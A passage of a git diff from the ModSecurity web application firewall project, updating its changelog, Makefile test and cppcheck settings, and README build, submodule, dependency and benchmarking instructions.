@devzero2000] + - Clean up 'return' never will be executed. + [PR #3096 - @gberkes] + - fix: Replace obsolete macros + [PR #3095 - @airween] + - fix: Change 'SecEngineStatus' to Off by default + [PR #3092 - @airween] + - chore: update bug-report-for-version-3-x.md + [PR #3086 - @fzipi] + - test: Logical, syntax and cosmetic fixes on test cases + [PR #3080 - @MirkoDziadzka, @airween] + - Bump the C++ version from C++11 to C++17 + [PR #3079 - @MirkoDziadzka] + - fix: makes uri decode platform independent + [PR #3016 - @M4tteoP] + +v3.0.12 - 2024-Jan-30 +--------------------- + + - Change REQUEST_FILENAME and REQUEST_BASENAME behavior + [Issue #3048 - @martinhsv, @theMiddleBlue, @theseion, @M4tteoP, @airween] + - Set the minimum security protocol version for SecRemoteRules + [Issue security/code-scanning/2 - @airween] + +v3.0.11 - 2023-Dec-06 +--------------------- + + - Add WRDE_NOCMD to wordexp call + [Issue #3024 - @sahruldotid, @martinhsv] + - Fix: validateDTD compile fails if when libxml2 not installed + [Issue #3014 - @zangobot, @martinhsv] + - Fix memory leak of validateDTD's dtd object + [Issue #3008 - @martinhsv, @zimmerle] + - Fix memory leaks in ValidateSchema + [Issue #3005 - @martinhsv, @zimmerle] + - Add support for expirevar action + [Issue #1803, #3001 - @martinhsv] + - Fix: lmdb regex match on non-null terminated string + [Issue #2985 - @martinhsv] + - Fix memory leaks in lmdb code (new'd strings) + [Issue #2983 - @martinhsv] + - Configure: add additional name to pcre2 pkg-config list + [Issue #2939 - @agebhar1, @fzipi, @martinhsv] + +v3.0.10 - 2023-Jul-25 +--------------------- + + - Fix: worst-case time in implementation of four transformations + [Issue #2934 - @martinhsv] + - Add TX synonym for MSC_PCRE_LIMITS_EXCEEDED + [Issue #2901 - @airween] + - Make MULTIPART_PART_HEADERS accessible to lua + [Issue #2916 - @martinhsv] + - Fix: Lua scripts cannot read whole collection at once + [Issue #2900 - @udi-aharon, @airween, @martinhsv] + - Fix: quoted Include config with wildcard + [Issue #2905 - @wiseelf, @airween, @martinhsv] - Support isolated PCRE match limits [Issue #2736 - @brandonpayton, @martinhsv] - Fix: meta actions not applied if multiMatch in first rule of chain @@ -106,7 +428,7 @@ v3.0.7 - 2022-May-30 v3.0.6 - 2021-Nov-19 -------------------------------------- +-------------------- - Support configurable limit on depth of JSON parsing [@theMiddleBlue, @martinhsv] diff --git a/Makefile.am b/Makefile.am index 1825ab2674..460303cb7b 100644 --- a/Makefile.am +++ b/Makefile.am @@ -59,12 +59,15 @@ cppcheck: @cppcheck -U YYSTYPE -U MBEDTLS_MD5_ALT -U MBEDTLS_SHA1_ALT \ -D MS_CPPCHECK_DISABLED_FOR_PARSER -U YY_USER_INIT \ --suppressions-list=./test/cppcheck_suppressions.txt \ + --inline-suppr \ --enable=warning,style,performance,portability,unusedFunction,missingInclude \ --inconclusive \ --template="warning: {file},{line},{severity},{id},{message}" \ - -I headers -I . -I others -I src -I others/mbedtls -I src/parser \ + -I headers -I . -I $(top_srcdir)/others -I $(top_srcdir)/src -I $(top_srcdir)/others/mbedtls/include -I $(top_srcdir)/others/mbedtls/tf-psa-crypto/include -I $(top_srcdir)/others/mbedtls/tf-psa-crypto/drivers/builtin/include \ --error-exitcode=1 \ -i "src/parser/seclang-parser.cc" -i "src/parser/seclang-scanner.cc" \ + -i others \ + --std=c++17 \ --force --verbose . @@ -88,266 +91,11 @@ LOG_DRIVER = env $(SHELL) $(top_srcdir)/test/custom-test-driver AM_TESTS_ENVIRONMENT=AUTOMAKE_TESTS=true; export AUTOMAKE_TESTS; LOG_COMPILER=test/test-suite.sh -# for i in `find test/test-cases -iname *.json`; do echo TESTS+=$i; done TESTS= -TESTS+=test/test-cases/regression/action-allow.json -TESTS+=test/test-cases/regression/action-block.json -TESTS+=test/test-cases/regression/action-ctl_request_body_access.json -TESTS+=test/test-cases/regression/action-ctl_request_body_processor.json -TESTS+=test/test-cases/regression/action-ctl_request_body_processor_urlencoded.json -TESTS+=test/test-cases/regression/action-ctl_rule_engine.json -TESTS+=test/test-cases/regression/action-ctl_audit_engine.json -TESTS+=test/test-cases/regression/action-ctl_rule_remove_by_id.json -TESTS+=test/test-cases/regression/action-ctl_rule_remove_by_tag.json -TESTS+=test/test-cases/regression/action-ctl_rule_remove_target_by_id.json -TESTS+=test/test-cases/regression/action-ctl_rule_remove_target_by_tag.json -TESTS+=test/test-cases/regression/action-disruptive.json -TESTS+=test/test-cases/regression/action-exec.json -TESTS+=test/test-cases/regression/action-id.json -TESTS+=test/test-cases/regression/action-initcol.json -TESTS+=test/test-cases/regression/action-msg.json -TESTS+=test/test-cases/regression/action-setenv.json -TESTS+=test/test-cases/regression/action-setrsc.json -TESTS+=test/test-cases/regression/action-setsid.json -TESTS+=test/test-cases/regression/action-setuid.json -TESTS+=test/test-cases/regression/actions.json -TESTS+=test/test-cases/regression/action-skip.json -TESTS+=test/test-cases/regression/action-tag.json -TESTS+=test/test-cases/regression/action-tnf-base64.json -TESTS+=test/test-cases/regression/action-xmlns.json -TESTS+=test/test-cases/regression/auditlog.json -TESTS+=test/test-cases/regression/collection-case-insensitive.json -TESTS+=test/test-cases/regression/collection-lua.json -TESTS+=test/test-cases/regression/collection-regular_expression_selection.json -TESTS+=test/test-cases/regression/collection-resource.json -TESTS+=test/test-cases/regression/collection-tx.json -TESTS+=test/test-cases/regression/collection-tx-with-macro.json -TESTS+=test/test-cases/regression/config-body_limits.json -TESTS+=test/test-cases/regression/config-calling_phases_by_name.json -TESTS+=test/test-cases/regression/config-include-bad.json -TESTS+=test/test-cases/regression/config-include.json -TESTS+=test/test-cases/regression/config-remove_by_id.json -TESTS+=test/test-cases/regression/config-remove_by_msg.json -TESTS+=test/test-cases/regression/config-remove_by_tag.json -TESTS+=test/test-cases/regression/config-response_type.json -TESTS+=test/test-cases/regression/config-secdefaultaction.json -TESTS+=test/test-cases/regression/config-secremoterules.json -TESTS+=test/test-cases/regression/config-update-action-by-id.json -TESTS+=test/test-cases/regression/config-update-target-by-id.json -TESTS+=test/test-cases/regression/config-update-target-by-msg.json -TESTS+=test/test-cases/regression/config-update-target-by-tag.json -TESTS+=test/test-cases/regression/config-xml_external_entity.json -TESTS+=test/test-cases/regression/debug_log.json -TESTS+=test/test-cases/regression/directive-sec_rule_script.json -TESTS+=test/test-cases/regression/issue-1152.json -TESTS+=test/test-cases/regression/issue-1528.json -TESTS+=test/test-cases/regression/issue-1565.json -TESTS+=test/test-cases/regression/issue-1576.json -TESTS+=test/test-cases/regression/issue-1591.json -TESTS+=test/test-cases/regression/issue-1725.json -TESTS+=test/test-cases/regression/issue-1743.json -TESTS+=test/test-cases/regression/issue-1785.json -TESTS+=test/test-cases/regression/issue-1812.json -TESTS+=test/test-cases/regression/issue-1831.json -TESTS+=test/test-cases/regression/issue-1844.json -TESTS+=test/test-cases/regression/issue-1850.json -TESTS+=test/test-cases/regression/issue-1941.json -TESTS+=test/test-cases/regression/issue-1943.json -TESTS+=test/test-cases/regression/issue-1956.json -TESTS+=test/test-cases/regression/issue-1960.json -TESTS+=test/test-cases/regression/issue-2099.json -TESTS+=test/test-cases/regression/issue-2000.json -TESTS+=test/test-cases/regression/issue-2111.json -TESTS+=test/test-cases/regression/issue-2196.json -TESTS+=test/test-cases/regression/issue-2423-msg-in-chain.json -TESTS+=test/test-cases/regression/issue-2427.json -TESTS+=test/test-cases/regression/issue-2296.json -TESTS+=test/test-cases/regression/issue-394.json -TESTS+=test/test-cases/regression/issue-849.json -TESTS+=test/test-cases/regression/issue-960.json -TESTS+=test/test-cases/regression/misc.json -TESTS+=test/test-cases/regression/misc-variable-under-quotes.json -TESTS+=test/test-cases/regression/offset-variable.json -TESTS+=test/test-cases/regression/operator-detectsqli.json -TESTS+=test/test-cases/regression/operator-detectxss.json -TESTS+=test/test-cases/regression/operator-fuzzyhash.json -TESTS+=test/test-cases/regression/operator-inpectFile.json -TESTS+=test/test-cases/regression/operator-ipMatchFromFile.json -TESTS+=test/test-cases/regression/operator-pm.json -TESTS+=test/test-cases/regression/operator-rx.json -TESTS+=test/test-cases/regression/operator-rxGlobal.json -TESTS+=test/test-cases/regression/operator-UnconditionalMatch.json -TESTS+=test/test-cases/regression/operator-validate-byte-range.json -TESTS+=test/test-cases/regression/operator-verifycc.json -TESTS+=test/test-cases/regression/operator-verifycpf.json -TESTS+=test/test-cases/regression/operator-verifyssn.json -TESTS+=test/test-cases/regression/operator-verifysvnr.json -TESTS+=test/test-cases/regression/request-body-parser-json.json -TESTS+=test/test-cases/regression/request-body-parser-multipart-crlf.json -TESTS+=test/test-cases/regression/request-body-parser-multipart.json -TESTS+=test/test-cases/regression/request-body-parser-xml.json -TESTS+=test/test-cases/regression/request-body-parser-xml-validade-dtd.json -TESTS+=test/test-cases/regression/rule-920120.json -TESTS+=test/test-cases/regression/rule-920200.json -TESTS+=test/test-cases/regression/rule-920274.json -TESTS+=test/test-cases/regression/secaction.json -TESTS+=test/test-cases/regression/secargumentslimit.json -TESTS+=test/test-cases/regression/sec_component_signature.json -TESTS+=test/test-cases/regression/secmarker.json -TESTS+=test/test-cases/regression/secruleengine.json -TESTS+=test/test-cases/regression/transformation-none.json -TESTS+=test/test-cases/regression/transformations.json -TESTS+=test/test-cases/regression/variable-ARGS_COMBINED_SIZE.json -TESTS+=test/test-cases/regression/variable-ARGS_GET.json -TESTS+=test/test-cases/regression/variable-ARGS_GET_NAMES.json -TESTS+=test/test-cases/regression/variable-ARGS.json -TESTS+=test/test-cases/regression/variable-ARGS_NAMES.json -TESTS+=test/test-cases/regression/variable-ARGS_POST.json -TESTS+=test/test-cases/regression/variable-ARGS_POST_NAMES.json -TESTS+=test/test-cases/regression/variable-AUTH_TYPE.json -TESTS+=test/test-cases/regression/variable-DURATION.json -TESTS+=test/test-cases/regression/variable-ENV.json -TESTS+=test/test-cases/regression/variable-FILES_COMBINED_SIZE.json -TESTS+=test/test-cases/regression/variable-FILES.json -TESTS+=test/test-cases/regression/variable-FILES_NAMES.json -TESTS+=test/test-cases/regression/variable-FILES_SIZES.json -TESTS+=test/test-cases/regression/variable-FULL_REQUEST.json -TESTS+=test/test-cases/regression/variable-FULL_REQUEST_LENGTH.json -TESTS+=test/test-cases/regression/variable-GEO.json -TESTS+=test/test-cases/regression/variable-HIGHEST_SEVERITY.json -TESTS+=test/test-cases/regression/variable-INBOUND_DATA_ERROR.json -TESTS+=test/test-cases/regression/variable-MATCHED_VAR.json -TESTS+=test/test-cases/regression/variable-MATCHED_VAR_NAME.json -TESTS+=test/test-cases/regression/variable-MATCHED_VARS.json -TESTS+=test/test-cases/regression/variable-MATCHED_VARS_NAMES.json -TESTS+=test/test-cases/regression/variable-MODSEC_BUILD.json -TESTS+=test/test-cases/regression/variable-MULTIPART_CRLF_LF_LINES.json -TESTS+=test/test-cases/regression/variable-MULTIPART_FILENAME.json -TESTS+=test/test-cases/regression/variable-MULTIPART_INVALID_HEADER_FOLDING.json -TESTS+=test/test-cases/regression/variable-MULTIPART_NAME.json -TESTS+=test/test-cases/regression/variable-MULTIPART_PART_HEADERS.json -TESTS+=test/test-cases/regression/variable-MULTIPART_STRICT_ERROR.json -TESTS+=test/test-cases/regression/variable-MULTIPART_UNMATCHED_BOUNDARY.json -TESTS+=test/test-cases/regression/variable-OUTBOUND_DATA_ERROR.json -TESTS+=test/test-cases/regression/variable-PATH_INFO.json -TESTS+=test/test-cases/regression/variable-QUERY_STRING.json -TESTS+=test/test-cases/regression/variable-REMOTE_ADDR.json -TESTS+=test/test-cases/regression/variable-REMOTE_HOST.json -TESTS+=test/test-cases/regression/variable-REMOTE_PORT.json -TESTS+=test/test-cases/regression/variable-REMOTE_USER.json -TESTS+=test/test-cases/regression/variable-REQBODY_PROCESSOR_ERROR.json -TESTS+=test/test-cases/regression/variable-REQBODY_PROCESSOR.json -TESTS+=test/test-cases/regression/variable-REQUEST_BASENAME.json -TESTS+=test/test-cases/regression/variable-REQUEST_BODY.json -TESTS+=test/test-cases/regression/variable-REQUEST_BODY_LENGTH.json -TESTS+=test/test-cases/regression/variable-REQUEST_COOKIES.json -TESTS+=test/test-cases/regression/variable-REQUEST_COOKIES_NAMES.json -TESTS+=test/test-cases/regression/variable-REQUEST_FILENAME.json -TESTS+=test/test-cases/regression/variable-REQUEST_HEADERS.json -TESTS+=test/test-cases/regression/variable-REQUEST_HEADERS_NAMES.json -TESTS+=test/test-cases/regression/variable-REQUEST_LINE.json -TESTS+=test/test-cases/regression/variable-REQUEST_METHOD.json -TESTS+=test/test-cases/regression/variable-REQUEST_PROTOCOL.json -TESTS+=test/test-cases/regression/variable-REQUEST_URI.json -TESTS+=test/test-cases/regression/variable-REQUEST_URI_RAW.json -TESTS+=test/test-cases/regression/variable-RESPONSE_BODY.json -TESTS+=test/test-cases/regression/variable-RESPONSE_CONTENT_LENGTH.json -TESTS+=test/test-cases/regression/variable-RESPONSE_CONTENT_TYPE.json -TESTS+=test/test-cases/regression/variable-RESPONSE_HEADERS.json -TESTS+=test/test-cases/regression/variable-RESPONSE_HEADERS_NAMES.json -TESTS+=test/test-cases/regression/variable-RESPONSE_PROTOCOL.json -TESTS+=test/test-cases/regression/variable-RULE.json -TESTS+=test/test-cases/regression/variable-SERVER_ADDR.json -TESTS+=test/test-cases/regression/variable-SERVER_NAME.json -TESTS+=test/test-cases/regression/variable-SERVER_PORT.json -TESTS+=test/test-cases/regression/variable-SESSIONID.json -TESTS+=test/test-cases/regression/variable-STATUS.json -TESTS+=test/test-cases/regression/variable-TIME_DAY.json -TESTS+=test/test-cases/regression/variable-TIME_EPOCH.json -TESTS+=test/test-cases/regression/variable-TIME_HOUR.json -TESTS+=test/test-cases/regression/variable-TIME.json -TESTS+=test/test-cases/regression/variable-TIME_MIN.json -TESTS+=test/test-cases/regression/variable-TIME_MON.json -TESTS+=test/test-cases/regression/variable-TIME_SEC.json -TESTS+=test/test-cases/regression/variable-TIME_WDAY.json -TESTS+=test/test-cases/regression/variable-TIME_YEAR.json -TESTS+=test/test-cases/regression/variable-TX.json -TESTS+=test/test-cases/regression/variable-UNIQUE_ID.json -TESTS+=test/test-cases/regression/variable-URLENCODED_ERROR.json -TESTS+=test/test-cases/regression/variable-USERID.json -TESTS+=test/test-cases/regression/variable-variation-count.json -TESTS+=test/test-cases/regression/variable-variation-exclusion.json -TESTS+=test/test-cases/regression/variable-WEBAPPID.json -TESTS+=test/test-cases/regression/variable-WEBSERVER_ERROR_LOG.json -TESTS+=test/test-cases/regression/variable-XML.json -TESTS+=test/test-cases/secrules-language-tests/operators/beginsWith.json -TESTS+=test/test-cases/secrules-language-tests/operators/contains.json -TESTS+=test/test-cases/secrules-language-tests/operators/containsWord.json -TESTS+=test/test-cases/secrules-language-tests/operators/detectSQLi.json -TESTS+=test/test-cases/secrules-language-tests/operators/detectXSS.json -TESTS+=test/test-cases/secrules-language-tests/operators/endsWith.json -TESTS+=test/test-cases/secrules-language-tests/operators/eq.json -TESTS+=test/test-cases/secrules-language-tests/operators/ge.json -TESTS+=test/test-cases/secrules-language-tests/operators/geoLookup.json -TESTS+=test/test-cases/secrules-language-tests/operators/gt.json -TESTS+=test/test-cases/secrules-language-tests/operators/ipMatch.json -TESTS+=test/test-cases/secrules-language-tests/operators/le.json -TESTS+=test/test-cases/secrules-language-tests/operators/lt.json -TESTS+=test/test-cases/secrules-language-tests/operators/noMatch.json -TESTS+=test/test-cases/secrules-language-tests/operators/pmFromFile.json -TESTS+=test/test-cases/secrules-language-tests/operators/pm.json -TESTS+=test/test-cases/secrules-language-tests/operators/rx.json -TESTS+=test/test-cases/secrules-language-tests/operators/rxGlobal.json -TESTS+=test/test-cases/secrules-language-tests/operators/streq.json -TESTS+=test/test-cases/secrules-language-tests/operators/strmatch.json -TESTS+=test/test-cases/secrules-language-tests/operators/unconditionalMatch.json -TESTS+=test/test-cases/secrules-language-tests/operators/validateByteRange.json -TESTS+=test/test-cases/secrules-language-tests/operators/validateUrlEncoding.json -TESTS+=test/test-cases/secrules-language-tests/operators/validateUtf8Encoding.json -TESTS+=test/test-cases/secrules-language-tests/operators/verifyCC.json -TESTS+=test/test-cases/secrules-language-tests/operators/verifycpf.json -TESTS+=test/test-cases/secrules-language-tests/operators/verifyssn.json -TESTS+=test/test-cases/secrules-language-tests/operators/verifysvnr.json -TESTS+=test/test-cases/secrules-language-tests/operators/within.json -TESTS+=test/test-cases/secrules-language-tests/transformations/base64DecodeExt.json -TESTS+=test/test-cases/secrules-language-tests/transformations/base64Decode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/base64Encode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/cmdLine.json -TESTS+=test/test-cases/secrules-language-tests/transformations/compressWhitespace.json -TESTS+=test/test-cases/secrules-language-tests/transformations/cssDecode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/escapeSeqDecode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/hexDecode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/hexEncode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/htmlEntityDecode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/jsDecode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/length.json -TESTS+=test/test-cases/secrules-language-tests/transformations/lowercase.json -TESTS+=test/test-cases/secrules-language-tests/transformations/md5.json -TESTS+=test/test-cases/secrules-language-tests/transformations/normalisePath.json -TESTS+=test/test-cases/secrules-language-tests/transformations/normalisePathWin.json -TESTS+=test/test-cases/secrules-language-tests/transformations/parityEven7bit.json -TESTS+=test/test-cases/secrules-language-tests/transformations/parityOdd7bit.json -TESTS+=test/test-cases/secrules-language-tests/transformations/parityZero7bit.json -TESTS+=test/test-cases/secrules-language-tests/transformations/removeCommentsChar.json -TESTS+=test/test-cases/secrules-language-tests/transformations/removeComments.json -TESTS+=test/test-cases/secrules-language-tests/transformations/removeNulls.json -TESTS+=test/test-cases/secrules-language-tests/transformations/removeWhitespace.json -TESTS+=test/test-cases/secrules-language-tests/transformations/replaceComments.json -TESTS+=test/test-cases/secrules-language-tests/transformations/replaceNulls.json -TESTS+=test/test-cases/secrules-language-tests/transformations/sha1.json -TESTS+=test/test-cases/secrules-language-tests/transformations/sqlHexDecode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/trim.json -TESTS+=test/test-cases/secrules-language-tests/transformations/trimLeft.json -TESTS+=test/test-cases/secrules-language-tests/transformations/trimRight.json -TESTS+=test/test-cases/secrules-language-tests/transformations/urlDecode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/urlDecodeUni.json -TESTS+=test/test-cases/secrules-language-tests/transformations/urlEncode.json -TESTS+=test/test-cases/secrules-language-tests/transformations/utf8toUnicode.json - +include test/test-suite.in pkgconfigdir = $(libdir)/pkgconfig pkgconfig_DATA = modsecurity.pc EXTRA_DIST = modsecurity.pc.in \ modsecurity.conf-recommended \ unicode.mapping - diff --git a/README.md b/README.md index 416e739844..7bb6a0aa95 100644 --- a/README.md +++ b/README.md @@ -1,16 +1,20 @@ - + + + + + -![Quality Assurance](https://github.com/SpiderLabs/ModSecurity/workflows/Quality%20Assurance/badge.svg) -[![Build Status](https://sonarcloud.io/api/project_badges/measure?project=USHvY32Uy62L&metric=alert_status)](https://sonarcloud.io/dashboard?id=USHvY32Uy62L) -[![](https://sonarcloud.io/api/project_badges/measure?project=USHvY32Uy62L&metric=sqale_rating -)](https://sonarcloud.io/dashboard?id=USHvY32Uy62L) -[![](https://sonarcloud.io/api/project_badges/measure?project=USHvY32Uy62L&metric=reliability_rating -)](https://sonarcloud.io/dashboard?id=USHvY32Uy62L) -[![](https://sonarcloud.io/api/project_badges/measure?project=USHvY32Uy62L&metric=security_rating -)](https://sonarcloud.io/dashboard?id=USHvY32Uy62L) -[![](https://sonarcloud.io/api/project_badges/measure?project=USHvY32Uy62L&metric=vulnerabilities -)](https://sonarcloud.io/dashboard?id=USHvY32Uy62L) +![Quality Assurance](https://github.com/owasp-modsecurity/ModSecurity/workflows/Quality%20Assurance/badge.svg) +[![Build Status](https://sonarcloud.io/api/project_badges/measure?project=owasp-modsecurity_ModSecurity&metric=alert_status)](https://sonarcloud.io/dashboard?id=owasp-modsecurity_ModSecurity) +[![](https://sonarcloud.io/api/project_badges/measure?project=owasp-modsecurity_ModSecurity&metric=sqale_rating +)](https://sonarcloud.io/dashboard?id=owasp-modsecurity_ModSecurity) +[![](https://sonarcloud.io/api/project_badges/measure?project=owasp-modsecurity_ModSecurity&metric=reliability_rating +)](https://sonarcloud.io/dashboard?id=owasp-modsecurity_ModSecurity) +[![](https://sonarcloud.io/api/project_badges/measure?project=owasp-modsecurity_ModSecurity&metric=security_rating +)](https://sonarcloud.io/dashboard?id=owasp-modsecurity_ModSecurity) +[![](https://sonarcloud.io/api/project_badges/measure?project=owasp-modsecurity_ModSecurity&metric=vulnerabilities +)](https://sonarcloud.io/dashboard?id=owasp-modsecurity_ModSecurity) @@ -21,7 +25,7 @@ capability to load/interpret rules written in the ModSecurity SecRules format and apply them to HTTP content provided by your application via Connectors. If you are looking for ModSecurity for Apache (aka ModSecurity v2.x), it is still under maintenance and available: -[here](https://github.com/SpiderLabs/ModSecurity/tree/v2/master). +[here](https://github.com/owasp-modsecurity/ModSecurity/tree/v2/master). ### What is the difference between this project and the old ModSecurity (v2.x.x)? @@ -37,54 +41,169 @@ As a result of this goal we have rearchitected Libmodsecurity such that it is no ### It is no longer just a module. -The 'ModSecurity' branch no longer contains the traditional module logic (for Nginx, Apache, and IIS) that has traditionally been packaged all together. Instead, this branch only contains the library portion (libmodsecurity) for this project. This library is consumed by what we have termed 'Connectors' these connectors will interface with your webserver and provide the library with a common format that it understands. Each of these connectors is maintained as a separate GitHub project. For instance, the Nginx connector is supplied by the ModSecurity-nginx project (https://github.com/SpiderLabs/ModSecurity-nginx). +The 'ModSecurity' branch no longer contains the traditional module logic (for Nginx, Apache, and IIS) that has traditionally been packaged all together. Instead, this branch only contains the library portion (libmodsecurity) for this project. This library is consumed by what we have termed 'Connectors' these connectors will interface with your webserver and provide the library with a common format that it understands. Each of these connectors is maintained as a separate GitHub project. For instance, the Nginx connector is supplied by the ModSecurity-nginx project (https://github.com/owasp-modsecurity/ModSecurity-nginx). Keeping these connectors separated allows each project to have different release cycles, issues and development trees. Additionally, it means that when you install ModSecurity v3 you only get exactly what you need, no extras you won't be using. # Compilation -Before starting the compilation process, make sure that you have all the -dependencies in place. Read the subsection “Dependencies” for further -information. +Before starting the compilation process, make sure that all required dependencies are installed. +See the [Dependencies](#dependencies) and [Git submodules](#Git-submodules) section for further information. -After the compilation make sure that there are no issues on your -build/platform. We strongly recommend the utilization of the unit tests and -regression tests. These test utilities are located under the subfolder ‘tests’. +After compilation, make sure that there are no issues on your build/platform. +We strongly recommend running the unit tests and regression tests. These test utilities are located in the [`tests/`](#testing-your-patch) subfolder. -As a dynamic library, don’t forget that libmodsecurity must be installed to a location (folder) where you OS will be looking for dynamic libraries. +As a dynamic library, `libmodsecurity` must be installed in a location where your operating system can find dynamic libraries. +### Unix (Linux, macOS, FreeBSD, …) +On Unix-like systems, the project uses autotools for the compilation process. -### Unix (Linux, MacOS, FreeBSD, …) +If you are working with a git checkout, make sure to clone the repository recursively or initialize all submodules before building. +See also the [Git submodules](#git-submodules) section. -On unix the project uses autotools to help the compilation process. +```sh +git clone https://github.com/owasp-modsecurity/ModSecurity ModSecurity +cd ModSecurity +```` -```shell -$ ./build.sh -$ ./configure -$ make -$ sudo make install +This repository uses git submodules. After cloning, make sure to initialize and fetch all submodules: + +```sh +git submodule update --init --recursive ``` -Details on distribution specific builds can be found in our Wiki: -[Compilation Recipes](https://github.com/SpiderLabs/ModSecurity/wiki/Compilation-recipes) +You can verify that all submodules are properly initialized with: -### Windows +```sh +git submodule status +``` + +Submodules that are correctly initialized show a commit hash. +A leading `-` indicates that the submodule has not been initialized. + +You can then start the build process: + +```sh +./build.sh +./configure +make +sudo make install +``` + +Details on distribution-specific builds can be found in our Wiki: +[Compilation Recipes](https://github.com/owasp-modsecurity/ModSecurity/wiki/Compilation-recipes) -Windows build is not ready yet. +### Windows +Windows build information can be found [here](build/win32/README.md). ## Dependencies -This library is written in C++ using the C++11 standards. It also uses Flex -and Yacc to produce the “Sec Rules Language” parser. Other, mandatory dependencies include YAJL, as ModSecurity uses JSON for producing logs and its testing framework, libpcre (not yet mandatory) for processing regular expressions in SecRules, and libXML2 (not yet mandatory) which is used for parsing XML requests. +* This library is written in C++ using the C++17 standard. +* It uses Flex and Bison (Yacc) to produce the “Sec Rules Language” parser. +* Mandatory dependencies include YAJL, as ModSecurity uses JSON for logging and its testing framework. +* libXML2 (optional) is used for parsing XML requests. + +### Regular expression engine (PCRE2 / PCRE) + +* Regular expression processing in SecRules is implemented via the `Regex` utility (`src/utils/regex.*`). +* By default, ModSecurity uses **PCRE2** for regex handling. +* This is used by operators such as `@rx`, `@rxGlobal`, and `@verifyCC`. +* Build-time behavior: + + * **Default:** PCRE2 is detected and used. + * **Fallback:** legacy PCRE can be used if `--with-pcre` is explicitly provided (`WITH_PCRE`). +* In other words, current builds expect PCRE2 unless explicitly configured otherwise. + +All other dependencies are related to operators specified within SecRules or configuration directives and may not be required for compilation. + +### Operator-related dependencies + +* `libinjection` is required for the operators `@detectXSS` and `@detectSQL`. +* `curl` is required for the directive `SecRemoteRules`. + +If those libraries are missing, ModSecurity will be compiled without support for the respective operators or directives. + +### Git-submodules + +The repository includes the following submodules: + +* `others/libinjection` – used by `@detectSQLi` and `@detectXSS` operators. + +* `others/mbedtls` (TF-PSA-Crypto subset) – used for cryptographic functions and helpers (e.g. hashing, base64). + + **Note:** The newer mbedTLS v4 layout is not compatible with the older v3 structure. + The internal structure has changed significantly, and many components have been moved into submodules (e.g. TF-PSA-Crypto). + + After merging PR #3532, it is required to run: + + ```sh + git submodule update --init --recursive + ``` + + This ensures that all required submodules are fetched. Without this step, the project will not build successfully. + + You can verify that all submodules are properly initialized with: + + ```sh + git submodule status + ``` + + Example output: + + ```sh + bc625d5... bindings/python + 2117822... others/libinjection (v4.0.0) + 0fe989b... others/mbedtls (v4.1.0) + a3d4405... test/test-cases/secrules-language-tests + ``` + + If a submodule is missing, it will be shown with a leading `-`, for example: + + ```sh + -bc625d5... bindings/python + ``` + + A leading `-` indicates that the submodule has not been initialized or fetched. + +* `test/test-cases/secrules-language-tests` – shared SecRules conformance and regression test suite used by `make check`. + +* `bindings/python` – Python bindings for ModSecurity (not required for core library compilation). + +`others/libinjection` and `others/mbedtls` are effectively required for source builds and must be initialized before building. + +### Optional external dependencies + +Several external libraries are optional and enable additional features, including: -All others dependencies are related to operators specified within SecRules or configuration directives and may not be required for compilation. A short list of such dependencies is as follows: +* `libcurl` – required for `SecRemoteRules` -* libinjection is needed for the operator @detectXSS and @detectSQL -* curl is needed for the directive SecRemoteRules. +* LMDB – persistent storage support + +* Lua – scripting support + +* XML libraries – extended XML processing + +* **GeoIP (legacy) / MaxMind** + + The legacy **GeoIP C API** (libGeoIP) is **deprecated and no longer maintained** by MaxMind. + The upstream repository has been archived and should not be used for new deployments. + + Instead, ModSecurity supports the modern **MaxMind DB API (libmaxminddb)**, which is actively maintained. + + During configuration you may see something like: + + ```sh + + GeoIP/MaxMind ....found + * (MaxMind) v1.12.2 + -lmaxminddb , -I/usr/include/x86_64-linux-gnu + ``` + + This indicates that **libmaxminddb** is being used (recommended). + + It is strongly recommended to use MaxMind DB instead of the legacy GeoIP library. -If those libraries are missing ModSecurity will be compiled without the support for the operator @detectXSS and the configuration directive SecRemoteRules. # Library documentation @@ -208,10 +327,8 @@ the utilities, follow the commands listed below: ```shell $ cd /path/to/your/ModSecurity -$ git submodule foreach git pull -$ cd test -$ ./regression-tests -$ ./unit-tests +$ git submodule update --init --recursive +$ make check ``` ### Debugging @@ -231,11 +348,90 @@ CFLAGS to disable the compilation optimization parameters: ```shell $ export CFLAGS="-g -O0" $ ./build.sh -$ ./configure +$ ./configure --enable-assertions=yes $ make $ sudo make install ``` +"Assertions allow us to document assumptions and to spot violations early in the +development process. What is more, assertions allow us to spot violations with a +minimum of effort." https://dl.acm.org/doi/pdf/10.1145/240964.240969 + +It is recommended to use assertions where applicable, and to enable them with +'--enable-assertions=yes' during the testing and debugging workflow. + +### Benchmarking + +The source tree includes a Benchmark tool that can help measure library performance. The tool is located in the `test/benchmark/` directory. The build process also creates the binary here, so you will have the tool after the compilation is finished. + +To run, just type: + +```shell +cd test/benchmark +$ ./benchmark +Doing 1000000 transactions... + +``` + +You can also pass a lower value: + +```shell +$ ./benchmark 1000 +Doing 1000 transactions... +``` + +To measure the time: +```shell +$ time ./benchmark 1000 +Doing 1000 transactions... + +real 0m0.351s +user 0m0.337s +sys 0m0.022s +``` + +This is very fast because the benchmark uses the minimal `modsecurity.conf.default` configuration, which doesn't include too many rules: + +```shell +$ cat basic_rules.conf + +Include "../../modsecurity.conf-recommended" + +``` + +To measure with real rules, run one of the download scripts in the same directory: + +```shell +$ ./download-owasp-v3-rules.sh +Cloning into 'owasp-v3'... +remote: Enumerating objects: 33007, done. +remote: Counting objects: 100% (2581/2581), done. +remote: Compressing objects: 100% (907/907), done. +remote: Total 33007 (delta 2151), reused 2004 (delta 1638), pack-reused 30426 +Receiving objects: 100% (33007/33007), 9.02 MiB | 16.21 MiB/s, done. +Resolving deltas: 100% (25927/25927), done. +Switched to a new branch 'tag3.0.2' +/path/to/ModSecurity/test/benchmark +Done. + +$ cat basic_rules.conf + +Include "../../modsecurity.conf-recommended" + +Include "owasp-v3/crs-setup.conf.example" +Include "owasp-v3/rules/*.conf" +``` + +Now the command will give much higher value. + +#### How the benchmark works + +The tool is a straightforward wrapper application that utilizes the library. It creates a ModSecurity instance and a RuleSet instance, then runs a loop based on the 